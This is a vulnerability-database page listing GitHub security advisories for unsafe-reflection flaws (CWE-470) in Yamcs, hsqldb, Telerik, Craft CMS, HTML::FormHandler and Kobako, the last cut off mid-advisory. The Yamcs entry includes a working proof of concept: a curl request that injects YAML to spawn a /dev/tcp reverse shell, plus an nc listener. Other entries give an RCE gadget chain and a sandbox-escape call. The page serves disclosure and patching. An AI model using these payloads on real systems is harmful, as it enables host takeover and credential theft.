CWE-470
AllowedUse of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Abstraction: Base · Status: Draft
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
156 vulnerabilities reference this CWE, most recent first.
GHSA-73MF-M39P-WPM9
Vulnerability from github – Published: 2026-08-28 17:23 – Updated: 2026-08-28 17:23Summary
templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.
Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.
Details
VarStatement appends arg values with no escaping:
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);
The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.
Request to exec:
InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
→ YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
→ YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
→ org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).
createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.
A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.
PoC
Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".
Listener:
nc -lvnp 4444
Request (set <LHOST> / <LPORT> to the listener):
curl -i -X POST http://<target>:8090/api/instances \
-H 'Content-Type: application/json' \
-d '{
"name": "pwned",
"template": "example",
"templateArgs": {
"spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
"bar": "Option 2"
}
}'
Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".
With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.
Impact
Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.
It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.13.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55559"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-470",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:23:04Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren\u0027t escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it\u0027s reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn\u0027t touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`\u0026 \u003c \u003e \u0027 \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn\u0027t help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n\u2192 `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n\u2192 rendered config loaded as `YConfiguration`\n\u2192 `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n\u2192 `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"name\": \"pwned\",\n \"template\": \"example\",\n \"templateArgs\": {\n \"spaceSystem\": \"x\\\"\\nservices:\\n - class: org.yamcs.ProcessRunner\\n args:\\n command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\\\"]\\n#\",\n \"bar\": \"Option 2\"\n }\n }\u0027\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template\u0027s `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it\u0027s the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege \u0027ChangeMissionDatabase\u0027`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn\u0027t have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
"id": "GHSA-73mf-m39p-wpm9",
"modified": "2026-08-28T17:23:04Z",
"published": "2026-08-28T17:23:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)"
}
GHSA-77XX-RXVH-Q682
Vulnerability from github – Published: 2022-10-06 18:52 – Updated: 2023-01-11 22:59Those using java.sql.Statement or java.sql.PreparedStatement in hsqldb (HyperSQL DataBase) to process untrusted input may be vulnerable to a remote code execution attack. By default it is allowed to call any static method of any Java class in the classpath resulting in code execution. The issue can be prevented by updating to 2.7.1 or by setting the system property "hsqldb.method_class_names" to classes which are allowed to be called. For example, System.setProperty("hsqldb.method_class_names", "abc") or Java argument -Dhsqldb.method_class_names="abc" can be used. From version 2.7.1 all classes by default are not accessible except those in java.lang.Math and need to be manually enabled.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.hsqldb:hsqldb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41853"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-06T21:16:51Z",
"nvd_published_at": "2022-10-06T18:17:00Z",
"severity": "CRITICAL"
},
"details": "Those using `java.sql.Statement` or `java.sql.PreparedStatement` in hsqldb (HyperSQL DataBase) to process untrusted input may be vulnerable to a remote code execution attack. By default it is allowed to call any static method of any Java class in the classpath resulting in code execution. The issue can be prevented by updating to 2.7.1 or by setting the system property \"hsqldb.method_class_names\" to classes which are allowed to be called. For example, `System.setProperty(\"hsqldb.method_class_names\", \"abc\")` or Java argument `-Dhsqldb.method_class_names=\"abc\"` can be used. From version 2.7.1 all classes by default are not accessible except those in `java.lang.Math` and need to be manually enabled.",
"id": "GHSA-77xx-rxvh-q682",
"modified": "2023-01-11T22:59:28Z",
"published": "2022-10-06T18:52:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41853"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50212#c7"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00020.html"
},
{
"type": "PACKAGE",
"url": "https://sourceforge.net/projects/hsqldb"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5313"
},
{
"type": "WEB",
"url": "http://hsqldb.org/doc/2.0/guide/sqlroutines-chapt.html#src_jrt_access_control"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HyperSQL DataBase vulnerable to remote code execution when processing untrusted input"
}
GHSA-78C9-2H53-GHVW
Vulnerability from github – Published: 2026-07-22 15:31 – Updated: 2026-07-22 15:31In Progress® Telerik® UI for AJAX prior to v2026.2.708, forged upload metadata can influence AsyncUploadTypeName processing and trigger unsafe attacker-controlled type resolution, enabling remote code execution in affected deployments.
{
"affected": [],
"aliases": [
"CVE-2026-13181"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-22T14:17:13Z",
"severity": "HIGH"
},
"details": "In Progress\u00ae Telerik\u00ae UI for AJAX prior to v2026.2.708, forged upload metadata can influence AsyncUploadTypeName processing and trigger unsafe attacker-controlled type resolution, enabling remote code execution in affected deployments.",
"id": "GHSA-78c9-2h53-ghvw",
"modified": "2026-07-22T15:31:21Z",
"published": "2026-07-22T15:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13181"
},
{
"type": "WEB",
"url": "https://www.telerik.com/products/aspnet-ajax/documentation/knowledge-base/kb-security-rau-asyncuploadtypename-deserialization-CVE-2026-13181"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7JX7-3846-M7W7
Vulnerability from github – Published: 2026-02-09 20:36 – Updated: 2026-02-09 22:39Relationship to Previously Patched Vulnerability
This vulnerability is in addition to the RCE vulnerability patched in GHSA-255j-qw47-wjh5. That advisory addressed a similar RCE vulnerability that affected two specific routes:
/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview
This one addresses some additional endpoints that were not covered in the https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5.
The patched vulnerability used a malicious AttributeTypecastBehavior with a wildcard event listener ("on *": "self::beforeSave") and __construct() syntax to trigger RCE via the typecastBeforeSave callback. The fix was implemented in commits:
- 6e608a1
- 27f5588
- ec43c49
This vulnerability follows the same attack pattern (behavior injection via "as <behavior>" syntax) but affects a different code path (assembleLayoutFromPost() in Fields.php) that was not patched in those commits. The attack vector uses typecastAfterValidate instead of typecastBeforeSave and does not require the wildcard event listener syntax, demonstrating that multiple entry points exist for this type of vulnerability.
Executive Summary
A Remote Code Execution (RCE) vulnerability exists in Craft CMS where the assembleLayoutFromPost() function in src/services/Fields.php fails to sanitize user-supplied configuration data before passing it to Craft::createObject(). This allows authenticated administrators to inject malicious Yii2 behavior configurations that execute arbitrary system commands on the server. This vulnerability represents an unpatched variant of the behavior injection vulnerability addressed in GHSA-255j-qw47-wjh5, affecting different endpoints through a separate code path.
Vulnerability Details
Attack Prerequisites
- Authentication: Admin-level access required
- Network Access: Access to admin panel (
/admin)
Location
- File:
src/services/Fields.php - Function:
assembleLayoutFromPost()(lines 1125-1143) - Root Cause: Missing
cleanseConfig()call on user-suppliedfieldLayoutPOST parameter
Vulnerable Code Path
// src/services/Fields.php:1125-1133
public function assembleLayoutFromPost(?string $namespace = null): FieldLayout
{
$paramPrefix = $namespace ? rtrim($namespace, '.') . '.' : '';
$request = Craft::$app->getRequest();
$config = JsonHelper::decode($request->getBodyParam("{$paramPrefix}fieldLayout"));
// ... additional config values added ...
$layout = $this->createLayout($config); // <-- No cleanseConfig() call!
// ...
}
// src/services/Fields.php:1089-1093
public function createLayout(array $config): FieldLayout
{
$config['class'] = FieldLayout::class;
return Craft::createObject($config); // <-- Untrusted data passed directly
}
Attack Chain
The exploitation leverages Yii2's object configuration system and behavior attachment mechanism:
- Behavior Injection: Attacker includes
'as rce'key in thefieldLayoutJSON POST parameter - Object Creation:
Craft::createObject()processes the config through Yii2'sBaseYii::configure() - Behavior Attachment: Yii2's
Component::__set()detects the'as 'prefix and attaches the behavior - RCE Trigger: When
validate()is called on the model,EVENT_AFTER_VALIDATEfires - Command Execution:
AttributeTypecastBehaviorcalls the configured typecast function (ConsoleProcessus::execute) with theuidattribute value as the command
RCE Gadget Chain
FieldLayout POST parameter
→ Craft::createObject()
→ Yii2 Component::__set() with 'as rce' key
→ AttributeTypecastBehavior attached
→ Model::validate() called
→ EVENT_AFTER_VALIDATE triggered
→ typecastAfterValidate → typecastAttributes()
→ call_user_func(['Psy\Readline\Hoa\ConsoleProcessus', 'execute'], $command)
→ Shell command execution
Affected Controllers
The assembleLayoutFromPost() function is called by multiple admin controllers:
| Controller | Action | Permission Required |
|---|---|---|
TagsController |
actionSaveTagGroup() |
Admin |
CategoriesController |
actionSaveGroup() |
Admin |
EntryTypesController |
actionSave() |
Admin |
GlobalsController |
actionSaveSet() |
Admin |
VolumesController |
actionSave() |
Admin |
UsersController |
actionSaveUserFieldLayout() |
Admin |
AddressesController |
actionSaveAddressFieldLayout() |
Admin |
References
- https://github.com/craftcms/cms/commit/395c64f0b80b507be1c862a2ec942eaacb353748
- GHSA-255j-qw47-wjh5 - Previously patched RCE vulnerability via behavior injection (affecting different endpoints)
- CVE-2024-4990 - Related vulnerability that inspired the behavior injection attack pattern
- Yii2 GHSA-gcmh-9pjj-7fp4 - Original Yii framework report (framework team declined to fix at framework level)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.21"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.17"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25498"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:36:43Z",
"nvd_published_at": "2026-02-09T20:15:58Z",
"severity": "HIGH"
},
"details": "## Relationship to Previously Patched Vulnerability\n\nThis vulnerability is **in addition to** the RCE vulnerability patched in [GHSA-255j-qw47-wjh5](https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5). That advisory addressed a similar RCE vulnerability that affected two specific routes:\n\n- `/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings`\n- `/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview`\n\nThis one addresses some additional endpoints that were not covered in the https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5.\n\nThe patched vulnerability used a malicious `AttributeTypecastBehavior` with a wildcard event listener (`\"on *\": \"self::beforeSave\"`) and `__construct()` syntax to trigger RCE via the `typecastBeforeSave` callback. The fix was implemented in commits:\n- [6e608a1](https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef)\n- [27f5588](https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7)\n- [ec43c49](https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593)\n\nThis vulnerability follows the same attack pattern (behavior injection via `\"as \u003cbehavior\u003e\"` syntax) but affects a **different code path** (`assembleLayoutFromPost()` in `Fields.php`) that was **not patched** in those commits. The attack vector uses `typecastAfterValidate` instead of `typecastBeforeSave` and does not require the wildcard event listener syntax, demonstrating that multiple entry points exist for this type of vulnerability.\n\n---\n\n## Executive Summary\n\nA Remote Code Execution (RCE) vulnerability exists in Craft CMS where the `assembleLayoutFromPost()` function in `src/services/Fields.php` fails to sanitize user-supplied configuration data before passing it to `Craft::createObject()`. This allows authenticated administrators to inject malicious Yii2 behavior configurations that execute arbitrary system commands on the server. This vulnerability represents an **unpatched variant** of the behavior injection vulnerability addressed in GHSA-255j-qw47-wjh5, affecting different endpoints through a separate code path.\n\n---\n\n## Vulnerability Details\n\n### Attack Prerequisites\n\n- **Authentication:** Admin-level access required\n- **Network Access:** Access to admin panel (`/admin`)\n\n---\n\n\n### Location\n\n- **File:** `src/services/Fields.php`\n- **Function:** `assembleLayoutFromPost()` (lines 1125-1143)\n- **Root Cause:** Missing `cleanseConfig()` call on user-supplied `fieldLayout` POST parameter\n\n### Vulnerable Code Path\n\n```php\n// src/services/Fields.php:1125-1133\npublic function assembleLayoutFromPost(?string $namespace = null): FieldLayout\n{\n $paramPrefix = $namespace ? rtrim($namespace, \u0027.\u0027) . \u0027.\u0027 : \u0027\u0027;\n $request = Craft::$app-\u003egetRequest();\n $config = JsonHelper::decode($request-\u003egetBodyParam(\"{$paramPrefix}fieldLayout\"));\n // ... additional config values added ...\n $layout = $this-\u003ecreateLayout($config); // \u003c-- No cleanseConfig() call!\n // ...\n}\n\n// src/services/Fields.php:1089-1093\npublic function createLayout(array $config): FieldLayout\n{\n $config[\u0027class\u0027] = FieldLayout::class;\n return Craft::createObject($config); // \u003c-- Untrusted data passed directly\n}\n```\n---\n\n## Attack Chain\n\nThe exploitation leverages Yii2\u0027s object configuration system and behavior attachment mechanism:\n\n1. **Behavior Injection:** Attacker includes `\u0027as rce\u0027` key in the `fieldLayout` JSON POST parameter\n2. **Object Creation:** `Craft::createObject()` processes the config through Yii2\u0027s `BaseYii::configure()`\n3. **Behavior Attachment:** Yii2\u0027s `Component::__set()` detects the `\u0027as \u0027` prefix and attaches the behavior\n4. **RCE Trigger:** When `validate()` is called on the model, `EVENT_AFTER_VALIDATE` fires\n5. **Command Execution:** `AttributeTypecastBehavior` calls the configured typecast function (`ConsoleProcessus::execute`) with the `uid` attribute value as the command\n\n### RCE Gadget Chain\n\n```\nFieldLayout POST parameter\n \u2192 Craft::createObject()\n \u2192 Yii2 Component::__set() with \u0027as rce\u0027 key\n \u2192 AttributeTypecastBehavior attached\n \u2192 Model::validate() called\n \u2192 EVENT_AFTER_VALIDATE triggered\n \u2192 typecastAfterValidate \u2192 typecastAttributes()\n \u2192 call_user_func([\u0027Psy\\Readline\\Hoa\\ConsoleProcessus\u0027, \u0027execute\u0027], $command)\n \u2192 Shell command execution\n```\n\n---\n\n## Affected Controllers\n\nThe `assembleLayoutFromPost()` function is called by multiple admin controllers:\n\n| Controller | Action | Permission Required |\n|------------|--------|---------------------|\n| `TagsController` | `actionSaveTagGroup()` | Admin |\n| `CategoriesController` | `actionSaveGroup()` | Admin |\n| `EntryTypesController` | `actionSave()` | Admin |\n| `GlobalsController` | `actionSaveSet()` | Admin |\n| `VolumesController` | `actionSave()` | Admin |\n| `UsersController` | `actionSaveUserFieldLayout()` | Admin |\n| `AddressesController` | `actionSaveAddressFieldLayout()` | Admin |\n\n---\n## References\n\n- https://github.com/craftcms/cms/commit/395c64f0b80b507be1c862a2ec942eaacb353748\n- [GHSA-255j-qw47-wjh5](https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5) - Previously patched RCE vulnerability via behavior injection (affecting different endpoints)\n- [CVE-2024-4990](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4990) - Related vulnerability that inspired the behavior injection attack pattern\n- [Yii2 GHSA-gcmh-9pjj-7fp4](https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4) - Original Yii framework report (framework team declined to fix at framework level)\n\n---",
"id": "GHSA-7jx7-3846-m7w7",
"modified": "2026-02-09T22:39:16Z",
"published": "2026-02-09T20:36:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-7jx7-3846-m7w7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25498"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/395c64f0b80b507be1c862a2ec942eaacb353748"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior"
}
GHSA-7P5W-9CXG-WCF3
Vulnerability from github – Published: 2026-08-13 18:31 – Updated: 2026-08-15 15:30HTML::FormHandler versions through 0.40068 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template.
add_error hands its first argument to the language handle as the Locale::Maketext message key, and the default handle's lexicon sets _AUTO, so a string that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. In a bracket group the first token names a method called on the language handle and the remaining tokens are its arguments.
Three kinds of text the library did not author reach that position. _apply_actions installs a $SIG{__WARN__} handler that stores the warning text in $error_message, and a captured warning survives a successful action, so a field carrying a numeric transform turns Argument "[sprintf,%50000000d,0]" isn't numeric into the template; a warning quotes the submitted value verbatim, so the group is well formed and dispatches. $error_message ||= $tobj->validate($new_value) takes a type constraint's own failure message, which renders the rejected value through a partial dumper in bracket and comma form (Devel::PartialDump when Moose can load it, Type::Tiny's own dumper always), so a field with apply => [ Str ] given a parameter sent more than once, which arrives as an array, gets Reference ["a","b"] did not pass type constraint "Str" as its template, from a request that carries no bracket character of its own. A coercion or transform exception reaches it the same way. Beyond those, a validator whose message contains the field value puts that value in the template directly, and add_error replaces the message list with the contents of an arrayref first argument (@message = @{$message[0]} if ref $message[0] eq 'ARRAY'), so a value arriving as an array fills the argument slots from the same request as well.
A malformed group such as [0] makes the compile croak, and HTML::FormHandler::I18N::maketext and add_error each re-raise that as a die, so process() throws. A well formed group naming sprintf reaches CORE::sprintf with an attacker chosen field width. Any caller that applies a type constraint or a transform to an untrusted field, or whose validator passes an untrusted field value to add_error, can be made to throw an unhandled exception out of process(), or to allocate an arbitrary amount of memory in one request, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The dumped type constraint message is bounded to the exception, because both dumpers quote non-numeric elements so the method slot is never an attacker chosen name. The built-in messages pass fixed templates with the value in an argument slot, where it stays inert, and the built-in field types attach explicit message callbacks, so neither is affected.
{
"affected": [],
"aliases": [
"CVE-2022-4993"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T17:17:17Z",
"severity": "CRITICAL"
},
"details": "HTML::FormHandler versions through 0.40068 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template.\n\nadd_error hands its first argument to the language handle as the Locale::Maketext message key, and the default handle\u0027s lexicon sets `_AUTO`, so a string that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. In a bracket group the first token names a method called on the language handle and the remaining tokens are its arguments.\n\nThree kinds of text the library did not author reach that position. _apply_actions installs a `$SIG{__WARN__}` handler that stores the warning text in `$error_message`, and a captured warning survives a successful action, so a field carrying a numeric transform turns `Argument \"[sprintf,%50000000d,0]\" isn\u0027t numeric` into the template; a warning quotes the submitted value verbatim, so the group is well formed and dispatches. `$error_message ||= $tobj-\u003evalidate($new_value)` takes a type constraint\u0027s own failure message, which renders the rejected value through a partial dumper in bracket and comma form (Devel::PartialDump when Moose can load it, Type::Tiny\u0027s own dumper always), so a field with `apply =\u003e [ Str ]` given a parameter sent more than once, which arrives as an array, gets `Reference [\"a\",\"b\"] did not pass type constraint \"Str\"` as its template, from a request that carries no bracket character of its own. A coercion or transform exception reaches it the same way. Beyond those, a validator whose message contains the field value puts that value in the template directly, and add_error replaces the message list with the contents of an arrayref first argument (`@message = @{$message[0]} if ref $message[0] eq \u0027ARRAY\u0027`), so a value arriving as an array fills the argument slots from the same request as well.\n\nA malformed group such as `[0]` makes the compile croak, and HTML::FormHandler::I18N::maketext and add_error each re-raise that as a die, so process() throws. A well formed group naming sprintf reaches CORE::sprintf with an attacker chosen field width. Any caller that applies a type constraint or a transform to an untrusted field, or whose validator passes an untrusted field value to add_error, can be made to throw an unhandled exception out of process(), or to allocate an arbitrary amount of memory in one request, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The dumped type constraint message is bounded to the exception, because both dumpers quote non-numeric elements so the method slot is never an attacker chosen name. The built-in messages pass fixed templates with the value in an argument slot, where it stays inert, and the built-in field types attach explicit message callbacks, so neither is affected.",
"id": "GHSA-7p5w-9cxg-wcf3",
"modified": "2026-08-15T15:30:31Z",
"published": "2026-08-13T18:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4993"
},
{
"type": "WEB",
"url": "https://github.com/gshank/html-formhandler/pull/159"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/GSHANK/HTML-FormHandler-0.40068/source/lib/HTML/FormHandler/Field.pm#L861-876"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/GSHANK/HTML-FormHandler-0.40068/source/lib/HTML/FormHandler/I18N/en_us.pm#L9-11"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/GSHANK/HTML-FormHandler-0.40068/source/lib/HTML/FormHandler/Validate.pm#L161-261"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/H/HTML-FormHandler/0.40068/CVE-2022-4993-r2.patch"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2012-6329"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7PWQ-Q9JF-539H
Vulnerability from github – Published: 2026-08-18 20:09 – Updated: 2026-08-18 20:09Summary
A guest mruby script running inside the Kobako sandbox can execute arbitrary Ruby in the host process, fully escaping the sandbox.
Details
A host embeds bound "Service" objects that guest scripts call across the wasm
boundary through the transport dispatcher. The dispatcher passed the
guest-supplied method name straight to Object#public_send on the bound
object, with no restriction to the object's own methods:
target.public_send(method.to_sym, *args, **kwargs, &block)
public_send can invoke any public method, including Ruby's ambient
reflection surface. A guest pivots through the public send into otherwise
private Kernel methods: a dispatch request with method = "send" and
args = [:eval, "<ruby>"] evaluates to target.send(:eval, "<ruby>"),
running attacker-controlled Ruby in the host. Any bound Service object is
sufficient — no Service-specific behavior is required.
Proof of Concept
A guest call equivalent to:
Service.send(:eval, "<arbitrary host ruby>")
